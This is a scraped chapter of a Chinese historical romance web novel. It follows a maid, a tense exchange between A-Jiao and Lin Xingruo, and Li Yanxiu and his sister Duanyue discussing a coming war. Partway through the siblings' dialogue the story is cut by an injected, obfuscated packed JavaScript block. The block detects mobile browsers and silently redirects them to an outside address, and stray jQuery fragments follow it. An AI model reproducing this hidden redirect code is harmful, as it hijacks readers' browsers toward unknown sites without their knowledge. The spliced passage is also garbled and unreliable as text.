默认冷灰
24号文字
方正启体

58.心梭

作者:乌罗罗本书字数:K更新时间:
    月光盈盈照耀,翠竹沙沙,小沁守在屋外头,脚边的灯笼熄灭许久,萧厨娘这才下工,抹了抹额头的冷汗,从廊下路过。


    她看到蹲在台阶上的小沁,发觉小丫头失魂落魄地抱着膝,上前轻声问:“怎么了?小沁,为什么不在屋子里伺候?”


    小沁眼眶微红,打着手语,说了一句:小姐睡了,怕打扰到她……我想家了。


    萧厨娘亲切地笑了笑,用帕子擦了她的眼角,温柔问道:“那我给你煮一碗汤面罢,你爱吃宛地的汤面是不是?你是那里的人。”


    小沁默默点头,眼睛通红,泪在一刹那脱眶而出,滚烫地跌到擦泪的手上。


    萧厨娘注意到她双眼悲凉,不大像想家的样子,却突然听得一声惊响,像是屋子里传来的。她快步上前,刚一拍门,还没有询问,眼前一晃,原来是小沁。


    小沁张开双手拦住她,又发觉不妥,连忙摆手,飞快地打着手语:猫。


    萧厨娘拧眉,想起二小姐的院子里的确有猫,渐渐放下心。小沁与二小姐情义深重,自然比她更担心些,若是唐突叫醒,反而大惊小怪。


    于是她笑了笑,擦干净小沁脸上的泪痕,牵着她的手:“那我去给你做一碗地道的汤面,吃了就不许哭鼻子。”


    小沁挣了一下,直勾勾地望着她,神情晦涩,张了张嘴,却什么也没说,只一个劲儿地擦眼睛。


    萧厨娘怜爱地把她搂进怀里,摸着她的头,想着才十四五岁的小孩子真是惹人心疼,若是她能有一个孩子,必定如珍似宝地爱着……如珍似宝。


    她又想起那天的事情,近来老爷的身体急转直下,恐怕就要不行了,若是如此,那她被断言……亦是真的罢——不足三十而亡。


    掐指一算,只有五年了。


    她不知怎么就有些感伤,也擦了擦眼睛,笑容微微苦涩。


    房间里,月光仍然流淌一地,攀到床帏前,抓住了衣袍一角,冷硬停留。


    “人走了。”


    长指捁住了她的脸,捂得人发不出声息。


    低沉的语调从耳畔呵过,拂动碎发,阿姣抓住他的手腕,指尖深深陷入他的手背肌肤,耳尖通红:“林星若,不要忘了兔子急了也咬人。”


    手臂一松,林星若退回床帏外,眯了眸子,轻声说:“提醒得好,阿姣,枕边人下手总是快狠准。”他理了理衣上褶皱,“那你不如听听我这个做枕边人的话,嗯?”


    见阿姣皱眉不语,他继续说:“无忧世子并非你爱慕的那个人,也没有你以为的那样简单磊落,你不过是看到了他的一面,不要再试着靠近他,他不会爱人。”


    阿姣抬起眼,盯着他,鼓起勇气反驳:“真爱一个人并不是仅凭言语就能斩断情丝的。”


    林星若凝眉想了想,反而笑道:“好,那你自比娉婷郡主如何?你不如她地位尊贵,不如她性格张扬,连她都无可奈何,你——”


    阿姣脸色涨红,脱口而出:“爱人若事事衡量,只爱人好的那一面也算爱人?”


    他听得怔怔的,久久地看着她,忽而轻声说:“自然不是。”


    “那你就不该说我。”


    “是,我不该说你,阿姣,只是不要你飞蛾扑火,靠近他的每一个人都在飞蛾扑火。”


    他近乎厌烦地皱眉,重重地看了她一眼,立即转身出去了。


    珠帘撞得回响,又很快沉默,房内再次安静,唯独那一只酒壶散着冷冷的光。


    外头月亮愈发明亮,路过一簇小泪竹的时候,一道黑影轻巧落下,跪在林星若身后:“公子,卫家大公子已经撤出春京,他身边那个灰衣少年阿眠亦撤离了秀朝。”


    这人随即递上一封密信,他厌烦地翻了翻信封,沉声吩咐:“注意七族动向,洛塘那边……端月公主已经回到王城了?”


    “是。”


    黎宴修在搞什么鬼?现在按兵不动,不大像他的性子。


    “罢了,继续监视。以后不要送信到府中来,做得谨慎一些。”


    “是。”


    ——洛塘,雪崖旧王城。


    高大岩石砌就的王庭在风雪之中半掩半埋,猩红火炬在风中燃烧得飘摇,噼里啪啦的声响格外刺耳,已是夏季,这里仍然冷得迫人。


    端月换回了公主装束,愈发自信骄傲。她踩着小红靴,腰上别着银鞭,两侧鬓发别着洁白绒羽,美得娇艳张扬。


    断崖前,黎宴修正在阅览加急的信笺,她走过去,夺走了他手上的信纸,歪头辨认。


    信都拿倒了。


    黎宴修没好气地哼笑一声,从她手里抢回信,嘲讽道:“早让你好好学,真是会出丑。”


    端月翘起嘴角,双手环胸倚在他身上:“那你念给我听。”


    信纸上寥寥数语,不过报信通气。


    黎宴修随手将纸碾成齑粉,散在风中:“自己学。真是把你卖了还给人数钱,怎么会有你这样笨的妹妹?”


    端月瞪圆眼睛,骂道:“我笨?那你还把我送到秀朝去做什么劳什子妃子?那些人吃人不吐骨头。”


    “总要有人制得了你,不是吗?我的傻妹妹,他们两朝总说一物降一物,是时候叫你也吃吃苦头了。”


    “黎宴修,说得比唱得好听,你根本就没有安好心,为什么不把你自己送出去和亲?我来做洛塘王岂不更好些?你的孩子保不齐不是你的孩子,我的孩子却一定是我的孩子。”


    此言有理,也只有这小丫头如此大言不惭。


    他又哼笑一声:“如果开战,洛塘王战死才算灭国,送你出去说不定还有一条命。到时候你还能活着的话,就像你说的,你的孩子一定是你的孩子,届时为他这个便宜舅舅报仇也说不定。”


    “那你到底高看我了。”


    “是了,就你这个脑子,也不指望你做下一个谢太后。”


    “你可以战死,难道我就会害怕?”


    黎宴修揉了揉她的头,眼眸含笑:“你懂什么?血脉不亡,信念不灭,人人都可以是洛塘王,你我既然是王室中人,受人供奉,就更要有为洛塘牺牲的信念。”


    “不要你来教我,黎宴修,我自然是这样的公主,我有作公主的骄傲。”


    他笑得更张狂一些,挑眉道:“活下来的人才更辛苦,你懂什么,端月,你只是小孩子。”


    悬崖峭壁后雪峰千里绵延不绝,望得久了就要迷失在里头。端月受着寒风,不禁喃喃自语:“你我生在这冰天雪地里,唯有一颗心是热的,他们生在四季如春的温暖里,人心却是冷的,硬的。”


    “道不同不相为谋。”


    只是淡淡一句话就能说遍世间一切纷争么?


    端月茫然地望著远处,轻声问:“我们真的要去劫亲?”


    “你有更好的主意?”


    “奉朝皇帝为什么一定要攻打洛塘?他为什么一定要掀起战争?”


    黎宴修垂眸,看向脚底下的千仞悬峰,一股逆流上来的寒气将身体冷透。端月小些,许多事并不知道,他曾亲眼见过当年……他淡然地说:“端月,他就是这种人,贪图天下,一定要满手沾满血腥与罪孽,他的父母——你可知道他的母亲怎么死的?”


    “有所耳闻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772398|168168||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,战死在淮陵罢?听说照佩将军是个奇女子,运筹帷幄,光明磊落……他和她一点也不像,这个人阴险狡诈,恶毒冷漠。”


    他看向远处的千山万雪,思绪漫漫,那一场大战,三朝都有份。


    那一天,火红落日,犹如照佩衣上的血迹,她冷冷微笑,长枪横扫,穿万军犹入无人之境。


    “照佩将军的确是个奇女子,世上不会再有这种人,也不会再有这个人。”


    他说着就看向端月,看向这位仍然娇弱的妹妹:“人可以堂堂正正地活,轰轰烈烈地死,她性情刚烈,足智多谋,胜过天下男儿。”


    “胜过逐歌太子?”


    “逐歌太子?”


    逐歌太子。


    端月瞧着他嘴角意味不明的笑,问道:“他冠绝天下,不是吗?他与照佩齐名,若是他与照佩结为夫妇……他们联手大可以横扫天下。”


    黎宴修摇摇头,世事并非如此,金童玉女或许看着相配,但是逐歌太子和照佩——他们注定是对手,而非佳侣,更提不上惺惺相惜。


    “两个截然不同的人,才是真的道不同不相为谋,端月,秀朝那一对双生子同逐歌太子很像,很像,他们迟早走上与他们父亲一样的路,反而是兰烟贞……兰烟贞这个人,拥有他母亲的才智,拥有他父亲的心计,世上无人可以掣肘,他像怪物一样,冰冷无情,是天生的帝王。”


    随着话音落下,峡谷寒风掠动,放眼望去,没有青青沃草,只有无尽的雪。


    端月明白了什么,说:“他会杀了我们。”


    黎宴修亦望着本该沃草遍地的山垓,说:“他会杀了我们,端月,我们是仇人。”


    发上绒羽吹得飘摇,模糊了神情,她低声说:“他像死亡的阴翳笼罩在我们头上,为什么是我们?”


    他说:“为什么是我们,端月?”


    端月抿着唇,眼底茫茫银白,看不到尽头。她忽而觉得很冷,一种刺骨的寒冷侵入四肢百骸,是恐惧,压在了她的心口。但是她不相信天命这一回事,更不相信一个人可以屠戮天下:“他不过是人,不过是一个人,奉朝并非无懈可击,西照王一直觊觎他的皇位,也许我们可以分裂奉朝,扶持西照王,秀朝双生子有远见,必定可以说服……”


    唯独冷冷的风吹来,他没有说话,端月渐渐也沉默了,她知道这事极难做,甚至做不成……风像无声的绝望,铺天盖地笼罩过来,她似乎已经预见奉朝铁骑踏碎冰河,挥刀妇孺。


    她突然有些后悔,当初为什么不直接杀了他?


    “都怪我,我本可以杀了他。我们错失了那一次机会,就再不能反败为胜。”


    宽厚大掌按在她的肩头,稳稳拍了拍,他沉声告诫:“你杀不了他,杀了兰烟贞又如何,还会有第二个奉朝皇帝。”


    端月不明白秀朝为何能稳坐钓鱼台,甚至要与奉朝狼狈为奸:“难道就这样坐以待毙,秀朝的人就这样旁观洛塘,岂不知唇亡齿寒之理,他们甚至还在争权夺势。今日是洛塘,或他日,秀朝岂能幸免于难?”


    “潜危在后,利益却近在咫尺,你要人如何不争?人总活在当下……不过,这一切仍有破局之法。”


    端月不再言语。


    她静静地对着山垓,闻到风流里的湿润,默默想着这里曾经沃草遍地,如青浪扶摇,洁白的牛羊成群,现如今,只有灰黑嶙峋的尖锐怪石,奔涌不尽的长风——


    “走罢,端月,风大了,走罢。”


    端月没有动,反而盯向远处的雪峰,不甘心地想,这一切还没有到终局,没有人一定可以笑到最后。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)